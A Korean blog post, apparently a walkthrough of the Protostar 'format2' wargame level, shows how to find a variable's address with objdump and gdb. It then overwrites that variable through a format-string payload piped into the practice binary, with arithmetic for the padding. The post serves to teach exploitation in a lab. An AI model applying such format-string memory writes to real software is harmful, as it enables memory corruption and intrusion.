본문 바로가기

system

[protostar]format2

반응형

This level moves on from format1 and shows how specific values can be written in memory.

This level is at /opt/protostar/bin/format2

버퍼를 채우고 target이 64이 되도록 해야할 것 같다.

 

objdump -t ./format2 | grep target

일단 format1에서 풀었던 것처럼 target의 위치를 확인한다.

(검증은

gdb ./format2
disas vuln

위의 두 차례로 확인 가능)

 

(python -c "print 'AAAA'+ '\xe4\x96\x04\x08' + '%8x%8x%8x%32c'") | ./format2

target의 위치를 넣고 위의 명령어를 실행한다.

 

4+4+8x3 +32=8+24+32=64로 타겟을 수정하면 된다.

 

 

반응형

'system' 카테고리의 다른 글

[protostar]format4  (0) 2020.11.05
[protostar]format3  (0) 2020.11.05
[protostar]Format1  (0) 2020.11.03
[protostar]format0  (0) 2020.11.02
[protostar]stack6.c  (0) 2020.11.02